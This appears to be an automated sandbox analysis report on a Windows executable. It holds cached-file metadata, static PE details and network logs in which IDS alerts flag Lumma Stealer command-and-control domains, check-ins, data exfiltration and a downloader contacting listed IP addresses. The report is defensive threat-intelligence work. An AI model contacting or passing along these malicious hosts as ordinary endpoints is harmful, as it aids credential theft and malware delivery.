....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195719
Entropy (8bit):	5.430057012529021
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli2:Wof3G0NSkNzMeO7z/l3lh
MD5:	9445D8D43537540BC89651C93A9C3832
SHA1:	EC3066770D52DB58CB7E44C54C3ABAA40CEB121A
SHA-256:	586D6261C80CBF8CDEC59DE01F1A1D09B32C04E87431E4333A0BF4D8990C2755
SHA-512:	F2BB9BB14C24883499AF2FAD35EE95AF7BF3D9B0431D8072C54C9D5946C751E04D952F5AD5D937F6CBC7C56177FA2091A5A6F33318F2907E9D3628C28E7FFC9C
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.578509137462533
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	TdloJt4gY3.exe
File size:	2'953'728 bytes
MD5:	2813aab84c7810610de640b20c7e4eea
SHA1:	9f09a197ce9e5e1886a382565b56fcc6b47ef114
SHA256:	1e0035e7354b1131b609d18dd3c3165ebecd48fbb4d6b1ae406bfe07633abf53
SHA512:	0e144061cc1fb6170b0695ba77b6768b113d10257bf38a4db3156082f3cdbead83a6b65b12313ec707db7a6c73d54d6c5fe8fb4d391c5de2317026fcb0cf184f
SSDEEP:	24576:e3WCClwu7V3KSGprP8azQ49ELpodjQuBo1rhc74KN+Y2fspyJ2hOodvmdjTk+Rxq:QZCS8ZKSG96WW1rzpaGRkD49rA
TLSH:	B3D52A92B51671CFD08E13B89937CE82595E46B907104AC3DCACA67EBDEFCC215B5C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................../...........@...........................0.....".-...@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x6fe000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F48D8BAAA5Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	6ae5f3cce3cae29e56e1941f9d8ba44e	False	0.9995915032679739	data	7.980297944890866	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
edofzzaq	0x55000	0x2a8000	0x2a7600	5d13332ff48d4ae791af108f5e39ed7a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oihjsrsr	0x2fd000	0x1000	0x400	065682b5d07eb0345c8322b2a2c96f42	False	0.83203125	data	6.2947161895739505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2fe000	0x3000	0x2200	ce3f84a47b0501ac3c16faec89153c57	False	0.06020220588235294	DOS executable (COM)	0.7235775074993115	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-28T09:56:27.511071+0100	2058582	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz)	1	192.168.2.11	61183	1.1.1.1	53	UDP
2024-12-28T09:56:27.659045+0100	2058584	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)	1	192.168.2.11	61407	1.1.1.1	53	UDP
2024-12-28T09:56:27.802250+0100	2058586	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)	1	192.168.2.11	54673	1.1.1.1	53	UDP
2024-12-28T09:56:27.944060+0100	2058588	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)	1	192.168.2.11	65249	1.1.1.1	53	UDP
2024-12-28T09:56:28.086838+0100	2058580	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)	1	192.168.2.11	49625	1.1.1.1	53	UDP
2024-12-28T09:56:28.260637+0100	2058590	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)	1	192.168.2.11	55666	1.1.1.1	53	UDP
2024-12-28T09:56:28.444295+0100	2058572	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)	1	192.168.2.11	56305	1.1.1.1	53	UDP
2024-12-28T09:56:28.607484+0100	2058576	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)	1	192.168.2.11	62938	1.1.1.1	53	UDP
2024-12-28T09:56:28.749429+0100	2058578	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)	1	192.168.2.11	59523	1.1.1.1	53	UDP
2024-12-28T09:56:30.535324+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49707	23.55.153.106	443	TCP
2024-12-28T09:56:31.311832+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.11	49707	23.55.153.106	443	TCP
2024-12-28T09:56:33.156309+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49709	172.67.157.254	443	TCP
2024-12-28T09:56:33.917344+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.11	49709	172.67.157.254	443	TCP
2024-12-28T09:56:33.917344+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49709	172.67.157.254	443	TCP
2024-12-28T09:56:35.430976+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49715	172.67.157.254	443	TCP
2024-12-28T09:56:36.521893+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.11	49715	172.67.157.254	443	TCP
2024-12-28T09:56:36.521893+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49715	172.67.157.254	443	TCP
2024-12-28T09:56:38.222684+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49721	172.67.157.254	443	TCP
2024-12-28T09:56:39.232217+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.11	49721	172.67.157.254	443	TCP
2024-12-28T09:56:40.587781+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49727	172.67.157.254	443	TCP
2024-12-28T09:56:43.085649+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49735	172.67.157.254	443	TCP
2024-12-28T09:56:45.675794+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49743	172.67.157.254	443	TCP
2024-12-28T09:56:48.403142+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49754	172.67.157.254	443	TCP
2024-12-28T09:56:53.476994+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49765	172.67.157.254	443	TCP
2024-12-28T09:56:54.247590+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49765	172.67.157.254	443	TCP
2024-12-28T09:56:55.758808+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.11	49771	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 09:56:22.802966118 CET	49674	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:56:22.881099939 CET	49673	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:56:24.070158958 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:56:24.381062031 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:56:24.990415096 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:56:25.037282944 CET	49671	443	192.168.2.11	204.79.197.203
Dec 28, 2024 09:56:26.193516970 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:56:28.599778891 CET	49676	443	192.168.2.11	20.189.173.3
Dec 28, 2024 09:56:29.039729118 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:29.039777040 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:29.039855957 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:29.043772936 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:29.043792963 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:30.535240889 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:30.535324097 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:30.539134979 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:30.539144993 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:30.539446115 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:30.584171057 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:30.592617035 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:30.635330915 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.311966896 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.312006950 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.312041044 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.312056065 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.312083960 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.312093019 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:31.312104940 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.312159061 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:31.503863096 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.503915071 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.503953934 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:31.503963947 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.504017115 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:31.540911913 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.540951967 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.540986061 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:31.540992022 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.541024923 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.541038036 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:31.541064978 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:31.543353081 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:31.543368101 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.543381929 CET	49707	443	192.168.2.11	23.55.153.106
Dec 28, 2024 09:56:31.543389082 CET	443	49707	23.55.153.106	192.168.2.11
Dec 28, 2024 09:56:31.881779909 CET	49709	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:31.881839037 CET	443	49709	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:31.881933928 CET	49709	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:31.882266045 CET	49709	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:31.882278919 CET	443	49709	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:32.412403107 CET	49674	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:56:32.490425110 CET	49673	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:56:33.156227112 CET	443	49709	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:33.156308889 CET	49709	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:33.157846928 CET	49709	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:33.157860994 CET	443	49709	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:33.158269882 CET	443	49709	172.67.157.254	192.168.2.11
Dec 28, 2024 09:56:33.159446001 CET	49709	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:33.159467936 CET	49709	443	192.168.2.11	172.67.157.254
Dec 28, 2024 09:56:33.159528971 CET	443	49709	172.67.157.254	192.168.2.11
